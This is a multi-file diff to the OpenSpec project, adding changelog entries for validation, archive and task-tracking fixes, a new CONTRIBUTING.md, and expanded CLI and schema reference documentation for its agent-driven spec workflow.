+- [#1840](https://github.com/Fission-AI/OpenSpec/pull/1840) [`fede536`](https://github.com/Fission-AI/OpenSpec/commit/fede536c27e03c1aaa3c17caffa837f483d9e9b9) Thanks [@clay-good](https://github.com/clay-good)! - Resolve the contradiction that left `/opsx:update`'s only write path without a governing rule. Step 4 told the agent to "Apply the requested edit", while step 5 and the guardrails told it to write only after the user confirms each revision, so the same `/opsx:update "the design now uses X"` either wrote immediately or stopped and showed the proposed revision first, depending on which passage the agent weighed. Step 4 now drafts the edit in the conversation and step 5 owns every artifact write, matching the workflow's own specified behavior: propose each revision and apply it only after user confirmation. Fixes [#1836](https://github.com/Fission-AI/OpenSpec/issues/1836).
+
+- [#1858](https://github.com/Fission-AI/OpenSpec/pull/1858) [`db560ae`](https://github.com/Fission-AI/OpenSpec/commit/db560ae33f565b76ebbc040782ec7007295e8133) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop `validate` accepting a requirement whose only scenario is a bare header. The delta scenario counter counted every `####` header, while the spec path that archive uses to validate the rebuilt spec keeps a scenario only when its body has content, so `validate` called such a change valid and `archive` then refused it with a generic "Requirement must have at least one scenario" that did not name the requirement. Both paths now share one rule, `hasScenarioBody`, and read a scenario's body up to the same boundary, so `validate` rejects exactly what archive rejects, naming the requirement and saying that a header with no body under it does not count. A scenario whose body is only a fenced block or a deeper header still counts, a requirement with one real scenario is still accepted even when another is empty, and main-spec validation is unchanged.
+
+- [#1774](https://github.com/Fission-AI/OpenSpec/pull/1774) [`09984b8`](https://github.com/Fission-AI/OpenSpec/commit/09984b824254f9e35bcdf628fdb052a689a57f37) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes
+  
+  - **Task lists without checkboxes are now caught**: a `tasks.md` written as plain bullets or a numbered list counts as zero tasks, so `openspec list` and `openspec status` reported "No tasks" and `openspec archive` had no unfinished work to warn about. `openspec validate` now warns when a change's tracked task files contain list items but no checkbox at all, and points at the first offending line.
+
+- [#1852](https://github.com/Fission-AI/OpenSpec/pull/1852) [`5f5914e`](https://github.com/Fission-AI/OpenSpec/commit/5f5914e7f7a817262c7564ac92694db833564978) Thanks [@clay-good](https://github.com/clay-good)! - Match the natural "openspec <verb>" phrasing to the workflow it names. Users and agents say "openspec propose" or "do an openspec apply", but no workflow skill's description contained that phrasing (and a skill's description is what an agent matches on), so the phrase read as an invitation to hand-build the artifacts with the CLI instead of running the workflow. Every workflow skill's description now names the phrasings a user actually types ("openspec propose", "opsx apply", and so on). Run `openspec update` to pick it up. `openspec update` itself is deliberately left unclaimed: it is a real CLI command that refreshes generated files, unrelated to the update-change workflow, which claims "openspec update change" instead. Commands-only installs write no skills and are unchanged. Fixes [#1221](https://github.com/Fission-AI/OpenSpec/issues/1221).
+
+## 1.13.0
+
+### Minor Changes
+
+- [#1783](https://github.com/Fission-AI/OpenSpec/pull/1783) [`8ba4ac1`](https://github.com/Fission-AI/OpenSpec/commit/8ba4ac1b16a33830a766f0c03d224d516b6a90ce) Thanks [@clay-good](https://github.com/clay-good)! - Apply now says when a change has no delta specs. Apply gates on the schema's `apply.requires` alone, so a change whose `tasks.md` was written ahead of its specs read as ready to implement even though it had no spec deltas at all — the state `openspec validate` rejects. `openspec instructions apply` now reports that gap as a warning (text and `--json`), naming both ways out: write the specs, or declare `skip_specs: true`. Changes that have specs, declare `skip_specs`, or are still blocked on their own required artifacts are unaffected.
+  
+  A blocked apply also names the whole chain now, not just the first hop: a change holding only a proposal reported `Missing artifacts: tasks` while the specs that `tasks` depends on were missing too, which reads as an instruction to write the tracking file straight from the proposal. The full build order is reported as `missingPrerequisites` in `--json`. The remedies these messages give are CLI commands (`openspec instructions <artifact> --change <name>`) rather than the `openspec-continue-change` skill, which the `core` profile never installs.
+
+### Patch Changes
+
+- [#1798](https://github.com/Fission-AI/OpenSpec/pull/1798) [`aedf4d0`](https://github.com/Fission-AI/OpenSpec/commit/aedf4d0c64c4bdde2e21f199aee93fa0d598c33e) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop archive rewriting the inside of fenced code blocks. The final assembly in `buildUpdatedSpec` collapsed runs of blank lines across the whole rebuilt document to tidy the seams between the slices it rejoins, but the pass was not fence-aware, so a requirement documenting a sample with two or more consecutive blank lines had that sample silently edited on archive, and edited again on every later archive. That matters wherever whitespace carries meaning: YAML block scalars, Python, expected-output fixtures, Markdown inside Markdown. Blank runs are now collapsed only outside fenced blocks, using the same `buildCodeFenceMask` every other structural pass in the module already used. Behavior outside fences is unchanged, including that only a truly empty line counts as blank, so a line of spaces is still never a collapse boundary. Fixes [#1797](https://github.com/Fission-AI/OpenSpec/issues/1797).
+
+- [#1800](https://github.com/Fission-AI/OpenSpec/pull/1800) [`fadac3e`](https://github.com/Fission-AI/OpenSpec/commit/fadac3e1c927bf5180ce82c806435c61db5d5adb) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Read a removal or rename written with `*` or `+` as the operation it is. CommonMark opens a bullet list with `-`, `*` or `+`, but the bullet form of `## REMOVED Requirements` and the `FROM:`/`TO:` lines of `## RENAMED Requirements` both hardcoded `-`, so either other marker matched nothing at all. The operation then silently never happened: `openspec validate` reported the change valid, `openspec archive` exited 0 with "Specs updated successfully", and the requirement that was supposed to be deleted or renamed stayed exactly as it was. The change archived as complete, leaving the spec quietly disagreeing with the delta that was meant to update it. Both forms now accept `[-*+]`, the `FROM:`/`TO:` bullet stays optional, and the plain `### Requirement:` header form is unchanged. Fixes [#1799](https://github.com/Fission-AI/OpenSpec/issues/1799).
+
+- [#1802](https://github.com/Fission-AI/OpenSpec/pull/1802) [`8251763`](https://github.com/Fission-AI/OpenSpec/commit/8251763ecdc349a0a1484f09da85f7e5c33f4836) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Apply every delta section, not just one copy of each. A delta file that wrote the same header twice, two `## ADDED Requirements` sections say, silently kept one of them: sections were collected into a record keyed by title, so a repeated title overwrote the earlier body, and the case-insensitive lookup returned only the first entry that folded to the target, so `## ADDED Requirements` beside `## Added Requirements` left the second unread. Every requirement under the discarded copy was gone before validation or the merge could see it, so `openspec validate` reported zero issues and `openspec archive` exited 0 having applied less than the author wrote, then moved the change to the archive with the live spec quietly diverging from what was reviewed. Sections are now kept as a list and every body whose title matches is read, each keeping its own line numbers so diagnostics still point at the right copy. Rename pairs are read per section, so a `FROM:` in one copy of the header can never pair with a `TO:` in another. An author does not have to repeat a header on purpose to hit this: a delta documenting OpenSpec's own syntax inside a fenced example produces the duplicate on its own. Fixes [#1801](https://github.com/Fission-AI/OpenSpec/issues/1801).
+
+- [#1657](https://github.com/Fission-AI/OpenSpec/pull/1657) [`6d2dbe6`](https://github.com/Fission-AI/OpenSpec/commit/6d2dbe62d3386ac0df576136759775678102acf2) Thanks [@clay-good](https://github.com/clay-good)! - Load project context before proposal planning, using the selected project or store root and honoring config precedence and validation limits. When no root exists, stop without writing files and offer initialization instead of creating an implicit root.
+
+- [#1700](https://github.com/Fission-AI/OpenSpec/pull/1700) [`3915db7`](https://github.com/Fission-AI/OpenSpec/commit/3915db763ad5394b29cdd895c87a91c837313ae8) Thanks [@clay-good](https://github.com/clay-good)! - Teach the generated guidance how to find and read a project's specs. `openspec list --specs` appeared in no generated skill, command, or artifact instruction, while `openspec list --json` (the in-flight *change* list) appeared throughout, so an agent asked to read the existing specs first enumerated changes instead and reported the step complete against the wrong object. The explore skill and command now list the spec inventory alongside the change list and say which is which, and the spec-driven `proposal` and `specs` instructions name the command where they ask for existing capabilities to be researched and for a delta's path to match an existing one. Both steps carry `--store "<id>"`, and capabilities are read with `openspec show "<spec-id>" --type spec --json --no-scenarios` so the read resolves against the same root the listing came from. Fixes [#1689](https://github.com/Fission-AI/OpenSpec/issues/1689).
+  
+  The filtered read is only an overview. Agents read relevant specs in full, including scenarios, before deciding what is already covered or what should change.
+
+- [#1779](https://github.com/Fission-AI/OpenSpec/pull/1779) [`3c6d318`](https://github.com/Fission-AI/OpenSpec/commit/3c6d318b837f443d1aabf969ce368e78ae12e891) Thanks [@clay-good](https://github.com/clay-good)! - `openspec init` and `openspec update` now name the workflows your profile left out and how to add them, so a command that was never installed no longer reads as a broken setup.
+
+- [#1808](https://github.com/Fission-AI/OpenSpec/pull/1808) [`d9e1a28`](https://github.com/Fission-AI/OpenSpec/commit/d9e1a28c38927e6d649781976cd1a753e28973af) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop `openspec update` reporting a tool up to date while a damaged command file sits on disk. The check read the `generatedBy` version marker in a tool's skill files alone, which proves only that the skill files came from this CLI and says nothing about the command files written beside them, so a hand-edited or truncated command file left update printing "All 1 tool(s) up to date" and repairing nothing; the file could be restored only by knowing to pass `--force`. A deleted command file was already detected, so the claim was false only for a damaged one. Update now also compares command-file content, using the comparison that already existed and was simply never consulted once a skill file supplied a version. Scoped to tools configured for both skills and commands, so the commands-only path is unchanged, and skipped when the delivery mode generates no commands for the tool. Fixes [#1807](https://github.com/Fission-AI/OpenSpec/issues/1807).
+
+- [#1782](https://github.com/Fission-AI/OpenSpec/pull/1782) [`c170dc7`](https://github.com/Fission-AI/OpenSpec/commit/c170dc77adbe868ce731e07df2806a7ca8fcb4ec) Thanks [@clay-good](https://github.com/clay-good)! - Fix `retire_capabilities` refusing any spec whose scenario bullets wrap onto a second line. The continuation line was counted as content the merge could not account for, which blocked the retirement and suppressed the hint that names the marker ([#1780](https://github.com/Fission-AI/OpenSpec/issues/1780)). A spec bulleted with `+` is covered too: naming only `-` and `*` as list markers reported every one of its scenario bullets as unaccounted content, so that capability could not be retired at all either.
+
 ## 1.12.0
 
 ### Minor Changes

CONTRIBUTING.md

@@ -0,0 +1,47 @@
+# Contributing
+
+Thanks for helping improve OpenSpec.
+
+## 1. Open a discussion or an issue first
+
+Every change starts here, including small ones.
+
+- [Start a discussion](https://github.com/Fission-AI/OpenSpec/discussions) if it affects OpenSpec's core design.
+- [Open an issue](https://github.com/Fission-AI/OpenSpec/issues) for bugs and everything else.
+
+This is so we can agree on the approach before you spend time building. PRs without a linked issue or a prior discussion may be closed.
+
+## 2. Decide whether it needs a change proposal
+
+A bug fix, a typo, or a small improvement goes straight to a PR.
+
+A new feature, a significant refactor, or anything that changes OpenSpec's architecture needs an OpenSpec change proposal first, so we can align on intent and goals before implementation begins. Open it as a PR containing only `openspec/changes/<name>/` and wait for it to be approved before you write the code.
+
+When writing a proposal, keep the OpenSpec philosophy in mind: we serve a wide variety of users across different coding agents, models, and use cases. Changes should work well for everyone.
+
+If you are not sure which side of the line your change falls on, ask in the discussion or issue from step 1.
+
+## 3. Make your change
+
+You need Node 20.19+ and pnpm.
+
+```bash
+pnpm install
+pnpm build              # tests run against the build output
+pnpm test
+pnpm exec tsc --noEmit
+pnpm lint
+```
+
+Those four commands are what CI runs, so a green local run means a green CI run.
+
+Run `pnpm changeset` if your change affects users, and commit the file it generates.
+
+## 4. Open the PR
+
+- Branch off `main` in your fork.
+- Title it as a conventional commit: `type(scope): subject`, for example `fix(archive): keep authored Purpose`.
+- Link what you opened in step 1: `Closes #123` for an issue, or a link to the discussion when there is no issue.
+- If a coding agent wrote the code, say which agent and model, and confirm you tested it. AI-generated code is welcome when it has been verified.
+
+Maintainers are listed in [MAINTAINERS.md](MAINTAINERS.md).

README.md

@@ -141,7 +141,7 @@ openspec init
 
 Now talk to your AI:
 
-- **Not sure what to build yet?** Start with `/opsx:explore`, a no-stakes thinking partner that reads your code, weighs options, and shapes a plan before anything is written. ([Explore guide](docs/explore.md))
+- **Not sure what to build yet?** Start with `/opsx:explore`, a no-stakes thinking partner that reads your code, weighs options, and shapes a plan before any code gets written. ([Explore guide](docs/explore.md))
 - **Already know what you want?** Go straight to `/opsx:propose <what-you-want-to-build>`.
 
 Both are in the default profile. If you want the expanded workflow (`/opsx:new`, `/opsx:continue`, `/opsx:ff`, `/opsx:verify`, `/opsx:bulk-archive`, `/opsx:onboard`), select it with `openspec config profile` and apply with `openspec update`.
@@ -224,21 +224,9 @@ openspec update
 
 ## Contributing
 
-**Small fixes** — Bug fixes, typo corrections, and minor improvements can be submitted directly as PRs.
+Open a discussion (for core design changes) or an issue before you open a PR, and link the issue or discussion from the PR. New features, significant refactors, and architectural changes need an OpenSpec change proposal first.
 
-**Larger changes** — For new features, significant refactors, or architectural changes, please submit an OpenSpec change proposal first so we can align on intent and goals before implementation begins.
-
-When writing proposals, keep the OpenSpec philosophy in mind: we serve a wide variety of users across different coding agents, models, and use cases. Changes should work well for everyone.
-
-**AI-generated code is welcome** — as long as it's been tested and verified. PRs containing AI-generated code should mention the coding agent and model used (e.g., "Generated with Claude Code using claude-opus-4-5-20251101").
-
-### Development
-
-- Install dependencies: `pnpm install`
-- Build: `pnpm run build`
-- Test: `pnpm test`
-- Develop CLI locally: `pnpm run dev` or `pnpm run dev:cli`
-- Conventional commits (one-line): `type(scope): subject`
+→ **[CONTRIBUTING.md](CONTRIBUTING.md)**: the full process, from first issue to merged PR
 
 ## Other
 

docs-lab/customize/schemas.md

@@ -125,7 +125,7 @@ The scaffold is bare. Artifacts come from the built-in four ids only, and the ge
 
 A fork has two kinds of files to edit:
 
-- **templates/** change the skeleton of each document. Add a section to the tasks template and every new tasks.md starts with it.
+- **templates/** change the skeleton of each document. Add a section to the tasks template and every new tasks.md starts with it. Keep the `#` title on the first line: the artifact inherits it, so every generated file opens as a titled document.
 - **schema.yaml** changes the workflow itself: which artifacts exist, what each one requires first, and the instruction the agent gets when creating it.
 
 For example, to drop the design document for a leaner flow:

docs-lab/help/faq.md

@@ -17,7 +17,8 @@ once the prose lands. -->
 
 If it has a row in the [support matrix](../reference/supported-tools.md), yes.
 Pick its id at init. If it isn't listed but reads the shared `.agents/skills/`
-folder, pick **Shared `.agents` skills** (`--tools agents`). If neither, request
-it in the [OpenSpec repo](https://github.com/Fission-AI/OpenSpec/issues).
+folder, pick **Other / Universal** (`--tools agents`), covered by the support
+matrix's Other / Universal section. If neither, request it in the
+[OpenSpec repo](https://github.com/Fission-AI/OpenSpec/issues).
 
 ## Where did the old /openspec:* commands go?

docs-lab/reference/cli.md

@@ -302,6 +302,15 @@ Pass --allow-unknown to bypass this check.
 Error: Invalid configuration - delivery: Invalid option: expected one of "both"|"skills"|"commands"
 ```
 
+If the config file exists but does not hold a JSON object, whether because it is not valid JSON at all or because its root is something else such as `null` or an array, `config set`, `config unset` and `config profile` exit 1 and leave the file unchanged. Fix it with `openspec config edit`, or replace it with `openspec config reset --all`:
+
+```
+Error: /home/you/.config/openspec/config.json could not be parsed, so it was left unchanged.
+Fix it with "openspec config edit", or reset it with "openspec config reset --all".
+```
+
+Until it is fixed, telemetry and the update check stay off.
+
 ### openspec config unset
 
 ```bash
@@ -314,7 +323,7 @@ Removes the key so the default applies again. Keys with built-in defaults always
 Unset delivery (reverted to default)
 ```
 
-A key with no value at all prints `Key "featureFlags.nothere" was not set`. Both cases exit 0.
+A key with no value at all prints `Key "featureFlags.nothere" was not set`. Both cases exit 0. A config file that cannot be parsed exits 1 instead, as for `config set`.
 
 ### openspec config reset
 
@@ -350,7 +359,11 @@ Without `--all` it exits 1 and prints the usage line.
 openspec config edit
 ```
 
-Opens the config file in `$EDITOR` (falling back to `$VISUAL`), creating it with defaults first if missing. When the editor closes, the file is validated. Invalid JSON or an invalid config exits 1. With no editor configured it exits 1:
+Opens the config file in `$EDITOR` (falling back to `$VISUAL`), creating it with defaults first if missing. When the editor closes, the file is validated. Invalid JSON or an invalid config exits 1.
+
+The editor value may carry arguments and quoted paths, for example `code --wait` or `"/Applications/Sublime Text.app/Contents/SharedSupport/bin/subl" -w`. It is split into words without a shell, so `$VAR`, `~` and `;` are passed through literally. An editor that cannot start, or exits non-zero, prints a one-line error and exits 1.
+
+With no editor configured it exits 1:
 
 ```
 Error: No editor configured
@@ -449,6 +462,13 @@ Specs:
 
 An empty listing prints `No active changes found.` or `No specs found.` and still exits 0.
 
+A change is a directory directly under `openspec/changes/`. Unlike specs, changes cannot be nested in a namespace folder. A folder like `changes/mobile/` that only wraps a change (`changes/mobile/refresh-token/`) is listed with the status `not a change`, followed by a warning that names the nested directories. `--json` marks that entry with a `nested` array and adds a top-level `warnings` array. `show`, `status`, `validate` and `archive` refuse the folder with the same message. To fix it, move the change up and fold the namespace into its name:
+
+```bash
+mv openspec/changes/mobile/refresh-token openspec/changes/mobile-refresh-token
+rmdir openspec/changes/mobile
+```
+
 **Exit codes**
 
 - `0`: listing printed, even when empty.
@@ -667,6 +687,18 @@ Bulk runs print one status line per item, followed by any findings, and end with
 Totals: 2 passed, 0 failed (2 items)
 ```
 
+**Task checkbox findings**
+
+Progress counts checkboxes and nothing else, so a task file written as plain bullets reads as zero tasks: `openspec list` and `openspec status` report no work, and `openspec archive` has nothing to flag as incomplete. Validate reports a `WARNING` on each tracked task file that lists work without a checkbox:
+
+```text
+⚠ [WARNING] tasks.md: This change counts as 0 tasks: no line in its tracked task files is a checkbox, so "openspec list" and "openspec status" report no work and "openspec archive" has nothing to flag as incomplete. Write each task as "- [ ] 1.1 Description".
+```
+
+The warning fires only when the change's whole tracked set holds no checkbox at all. One file of prose beside a real checklist is not reported, and a change mid-authoring keeps its progress the moment a single checkbox exists. `--strict` turns the warning into a failure. The line number is in the `--json` report.
+
+Fenced blocks, HTML comments, YAML front matter and indented code are not scanned, so a pasted terminal sample is never mistaken for a task list.
+
 **Archive merge findings**
 
 For changes, validate runs archive's merge builder against the current main specs without writing files. It reports merge conflicts, such as a missing `MODIFIED` target or a conflicting `ADDED` requirement, as `INFO`:
@@ -999,7 +1031,20 @@ Schema: spec-driven
 Next: openspec status --change add-caching
 ```
 
-With `--json`:
+When no `openspec/` directory was found, `new change` creates one where you are and says so:
+
+```
+Created change 'add-caching' at openspec/changes/add-caching/
+Schema: spec-driven
+Next: openspec status --change add-caching
+
+Note: no OpenSpec root was found here, so one was created at openspec/.
+Run `openspec init` to finish setting this project up, or delete that directory if you meant a different project.
+```
+
+The notice goes to stdout with the rest of the human output, and never appears with `--json`.
+
+With `--json`, in a project that already has `openspec/`:
 
 ```json
 {
@@ -1016,6 +1061,15 @@ With `--json`:
 }
 ```
 
+When no `openspec/` directory was found and `new change` created one, the JSON has the same shape. `root.path` is the directory you ran it from, and `root.source` reads `implicit`:
+
+```json
+"root": {
+  "path": "/Users/you/projects/my-app",
+  "source": "implicit"
+}
+```
+
 **Exit codes**
 
 - `0`: change created.
@@ -1065,8 +1119,24 @@ Progress: 2/4 artifacts complete
 [x] specs
 [ ] design
 [-] tasks (blocked by: design)
+
+Next: openspec instructions design --change "add-rate-limit" --json
 ```
 
+The `Next:` line names the one command that moves the change forward, so `openspec status` is enough to pick a change back up in a fresh session. It names the next ready artifact while planning is unfinished, and `openspec instructions apply` once every planning artifact exists:
+
+```
+[x] proposal
+[x] specs
+[x] design
+[x] tasks
+
+All planning artifacts complete!
+Next: openspec instructions apply --change "add-rate-limit" --json
+```
+
+It carries `--store <id>` whenever the resolved root is a store, and names the same command as the JSON `nextSteps` sentence.
+
 `--json` adds per-artifact dependencies, resolved file paths, and a suggested next step. Trimmed:
 
 ```json
@@ -1410,7 +1480,7 @@ openspec schema validate spec-driven   # one schema, from any source
 openspec schema validate               # every project-local schema
 ```
 
-It verifies that `schema.yaml` exists and parses, that the structure matches the schema format, that every artifact's template file exists inside the schema's `templates/` directory, and that the dependency graph has no cycles or unknown references.
+It verifies that `schema.yaml` exists and parses, that the structure matches the schema format, that every artifact's template file exists inside the schema's `templates/` directory, and that the dependency graph has no cycles or unknown references, including in `apply.requires`. An `apply.tracks` value that isn't exactly equal to some artifact's `generates` value prints a `warning:` line but does not fail validation, because OpenSpec then can't tell which artifact's progress that file belongs to.
 
 **Options**
 
@@ -1559,6 +1629,8 @@ openspec store setup team-context --path ~/openspec/team-context
 
 In an interactive terminal, setup prompts for a missing name and location and confirms before creating anything. Outside one, a missing name or `--path` exits 1 with the flag to pass. Rerunning setup for a registered store reports `Registry: already registered`.
 
+Setup exits 1 with `store_setup_inside_git_repo` when `--path` is inside another Git repository, because initializing the store there would nest one repository in another. `--no-init-git` creates no repository, so it skips that check. Use it to keep a store at `~/openspec/<id>` when your home directory is itself a Git repository, such as a dotfiles repo.
+
 **Arguments**
 
 | Argument | What it is |
@@ -1682,6 +1754,8 @@ Error: Pass --yes to delete store files non-interactively.
 Fix: openspec store remove design-system --yes
 ```
 
+Remove exits 1 and deletes nothing when the folder lacks matching store metadata, or when it contains another registered store (for example a store vendored as a Git submodule). In that case the error is `store_remove_contains_registered_store`: run `openspec store unregister <nested-id>` first, or `openspec store unregister <id>` to forget the store without deleting files.
+
 **Options**
 
 | Flag | Effect |
@@ -2118,6 +2192,8 @@ Supported shells: `zsh`, `bash`, `fish`, `powershell`. Every subcommand takes an
 | `install [shell]` | Write the script and configure your shell startup file. |
 | `uninstall [shell]` | Remove the script and the config block. |
 
+Installed with Nix, completions are already in place: the flake package ships the Bash, Fish, and Zsh scripts at the standard locations, so `install` is not needed ([Installation](../start/installation.md#nix)).
+
 ### openspec completion generate
 
 Prints the script and writes nothing.

docs-lab/reference/glossary.md

@@ -19,7 +19,7 @@ OpenSpec reuses words that mean something else in git, CI, and agent tooling. Ea
 | **Fast-forward** | Create a change proposal with every planning artifact in one pass, ready to implement. Skill: `openspec-ff-change`. Not a git fast-forward. | [Skills](skills.md) |
 | **Legacy workflow** | The pre-OPSX `/openspec:*` commands. | [Migration](../help/legacy/migration.md) |
 | **Loop** | The cycle a change proposal moves through: explore, propose, review, apply, archive. | [Quickstart](../start/quickstart.md) |
-| **Main specs** | The `openspec/specs/` tree: the current, agreed behavior of your system. Archiving merges deltas into it. | [Concepts](../guides/concepts.md) |
+| **Main specs** | The `openspec/specs/` tree: the current, agreed behavior of your system. Archiving merges deltas into it. A capability with no spec yet gets one from its `ADDED` requirements. | [Concepts](../guides/concepts.md) |
 | **OpenSpec root** | The `openspec/` tree a command resolves to and operates on: your repo's, or a store's. | [Stores](../multi-repo/stores.md#where-artifacts-get-created-when-using-stores) |
 | **OPSX** | The current OpenSpec workflow system, and the command prefix it installs (`/opsx:`). | [Architecture](architecture/index.md) |
 | **Profile** | Which workflows init installs: `core` or `custom`. | [Profiles](../customize/profiles.md) |

docs-lab/reference/schemas/schema-yaml.md

@@ -138,9 +138,12 @@ Apply stays blocked if that file is missing or contains no checkbox with task te
 - [ ] Pending task
 - [x] Completed task
 * [X] Completed task
++ [ ] Pending task
+1. [ ] Pending task
+2) [x] Completed task
 ```
 
-Leading spaces are allowed. The [tasks.md section of the spec-driven page](spec-driven/index.md#tasksmd) defines the stricter format produced by the default schema.
+Any Markdown list marker works: `-`, `*`, `+`, or a number of up to nine digits followed by `.` or `)`. Leading spaces are allowed. The [tasks.md section of the spec-driven page](spec-driven/index.md#tasksmd) defines the stricter format produced by the default schema.
 
 The tracked file drives the apply state:
 
@@ -198,12 +201,16 @@ apply:
 - Field types and required fields
 - Relative paths
 - Artifact IDs, dependencies, and cycles
+- `apply.requires` IDs: each must be an artifact in the schema
 - Template files
 
+A schema with an unknown `apply.requires` ID doesn't load, so every command that uses it reports the error.
+
+Validation warns, without failing, when `apply.tracks` isn't exactly equal to some artifact's `generates` value. OpenSpec finds the tracked artifact by comparing those two strings, so anything else leaves it unable to tell which artifact's progress the file belongs to. That includes a typo like `task.md`, and also `tracks: tasks/main.md` against `generates: tasks/*.md`, where the glob does produce the file but the strings still differ. Apply keeps reading the file either way, but `openspec list` and `openspec status` count `tasks.md` instead.
+
 Validation doesn't catch these mistakes:
 
 | Mistake | What happens |
 |---|---|
 | A field is misspelled, such as `instrution` | OpenSpec ignores it. Validation doesn't report the typo. |
-| `apply.requires` names an unknown artifact ID | Validation doesn't report the unknown ID. |
 | `name` differs from the schema directory | Validation passes. OpenSpec still uses the directory name for lookup. |

docs-lab/reference/schemas/spec-driven/index.md

@@ -54,6 +54,8 @@ Establishes why the change is needed.
 The template the agent receives as the output format ([templates/proposal.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/proposal.md)):
 
 ```md
+# Proposal
+
 ## Why
 
 <!-- Explain the motivation for this change. What problem does this solve? Why now? -->
@@ -101,7 +103,19 @@ Sections:
 - **Impact**: Affected code, APIs, dependencies, or systems.
 
 IMPORTANT: The Capabilities section is critical. It creates the contract between
-proposal and specs phases. Research existing specs before filling this in.
+proposal and specs phases. Research existing specs before filling this in:
+run `openspec list --specs` for the project's capability inventory, then
+`openspec show "<spec-id>" --type spec --json --no-scenarios` for any that
+look related - that returns a capability's purpose and requirement texts
+without pulling whole spec files into context. Append `--store "<id>"` to
+both commands only for a registered standalone store, and keep `--type
+spec`: a change and a spec sharing a name is otherwise an ambiguous-item
+error. `openspec list` without `--specs` lists in-flight changes, not
+specs - it never shows what the project already covers. Reuse an existing
+capability's exact path instead of introducing a near-duplicate name.
+The filtered read is only an overview. Before deciding what is already
+covered or what should change, read each relevant spec in full, including
+scenarios, with `openspec show "<spec-id>" --type spec` (same `--store` rule).
 Each capability listed here will need a corresponding spec file.
 
 Every change must either declare at least one capability (new or
@@ -122,11 +136,15 @@ This is the foundation - specs, design, and tasks all build on this.
 
 Defines what behavior changes, with one delta spec per capability the proposal lists.
 
+Each delta spec is the `spec.md` inside its capability folder. `openspec validate` and `openspec archive` reject delta sections written in any other file under `specs/`, such as `specs/user-auth.md`, because archive never merges them.
+
 ### Structure
 
 The template the agent receives as the output format ([templates/spec.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/spec.md)):
 
 ```md
+# Spec Delta
+
 ## Purpose
 <!-- New capabilities only: one or two sentences (50+ characters) on what this capability is for. Delete this section for an existing capability. -->
 
@@ -168,7 +186,7 @@ Create one spec file per capability listed in the proposal's Capabilities sectio
 `<capability-path>` is the spec directory relative to `specs/` (for example,
 `user-auth` or `identity/user-auth`). Preserve the full path:
 - New capabilities: use the exact path from the proposal at `specs/<capability-path>/spec.md`. Any path segment newly introduced in the proposal must be kebab-case. Follow the project's existing organization; do not add a new domain level when the project uses a flat layout.
-- Modified capabilities: use the exact existing path from `openspec/specs/<capability-path>/` when creating the delta at `specs/<capability-path>/spec.md`. Do not move or rename the capability.
+- Modified capabilities: use the exact existing path from `openspec/specs/<capability-path>/` when creating the delta at `specs/<capability-path>/spec.md`. Run `openspec list --specs` to confirm that path before writing the delta, appending `--store "<id>"` only for a registered standalone store - a mistyped or invented path targets a capability that does not exist rather than the one you meant. Do not move or rename the capability.
 
 There must be at least one spec file unless the change's `.openspec.yaml`
 sets `skip_specs: true` (no spec-level behavior change) - `openspec validate`
@@ -188,7 +206,7 @@ Format requirements:
 - **CRITICAL**: Scenarios MUST use exactly 4 hashtags (`####`). Using 3 hashtags or bullets will fail silently.
 - Every requirement MUST have at least one scenario.
 
-New capabilities only: start the delta spec with a `## Purpose` section -
+New capabilities only: the delta spec's first section is `## Purpose` -
 one or two sentences (50+ characters, or `openspec validate --strict`
 reports it as too brief) describing what the capability is for. Archive
 copies it into the main spec it creates; without it the new main spec is
@@ -207,8 +225,10 @@ MODIFIED requirements workflow:
 Common pitfall: Using MODIFIED with partial content loses detail at archive time.
 If adding new concerns without changing existing behavior, use ADDED instead.
 
-Example (a new capability, so it opens with `## Purpose`):
+Example (a new capability, so its first section is `## Purpose`):
 ```
+# Spec Delta
+
 ## Purpose
 
 Lets users take their data out of the product in a portable format.
@@ -241,6 +261,8 @@ Explains how to implement the change. Drafted only when the change needs one.
 The template the agent receives as the output format ([templates/design.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/design.md)):
 
 ```md
+# Design
+
 ## Context
 
 <!-- Current state and constraints that shape the approach. See proposal.md for motivation - don't restate it -->
@@ -305,6 +327,8 @@ Breaks the implementation into checkable tasks. [apply](#apply) tracks progress
 The template the agent receives as the output format ([templates/tasks.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/tasks.md)):
 
 ```md
+# Tasks
+
 ## 1. <!-- Task Group Name -->
 
 - [ ] 1.1 <!-- Task description -->
@@ -328,7 +352,10 @@ would change what gets built, resolve them with the user first - do not
 bake an unstated assumption into the task list.
 
 **IMPORTANT: Follow the template below exactly.** The apply phase parses
-checkbox format to track progress. Tasks not using `- [ ]` won't be tracked.
+checkbox format to track progress. A box holding only `x` counts as done,
+upper or lower case and with any spacing, so `- [ x]` is done too. Every
+other marker, including `- [~]`, `- [-]` and an empty `- []`, reads as
+unfinished. A line with no checkbox is not tracked at all.
 
 Guidelines:
 - Group related tasks under ## numbered headings
@@ -338,6 +365,8 @@ Guidelines:
 
 Example:
 ```
+# Tasks
+
 ## 1. Setup
 
 - [ ] 1.1 Create new module structure

docs-lab/reference/skills.md

@@ -39,6 +39,13 @@ The skills come in two sets:
 - **Core**: installed by default, the main planning loop.
 - **Optional**: installed only when you add them, via [Profiles](../customize/profiles.md).
 
+Every skill expects a project that already uses OpenSpec. Before its first step that writes anything, a skill checks for a resolved root. What happens when there is none depends on how the skill was reached:
+
+- **Auto-selected**: your agent picked the skill on its own, without you naming OpenSpec. It drops OpenSpec and answers your request normally, the way it would with OpenSpec not installed.
+- **Explicit OpenSpec request**: you named OpenSpec, named the skill, or ran its command. It stops before writing and asks how to proceed: run `openspec init` here, target a store with `--store <id>`, or continue without OpenSpec. It waits for your answer.
+
+Commands are always the second case. A project whose `openspec/config.yaml` names a store this machine cannot resolve (not registered, or a malformed `store:` line) is not treated as uninitialized: the skill stops and shows the store error with its fix. No skill creates an `openspec/` directory on its own in either case. The entries below describe what each skill does once a root is in place.
+
 | Skill | Job | Type |
 |---|---|---|
 | [openspec-explore](#openspec-explore) | Think through an idea before it becomes a change proposal | Core |
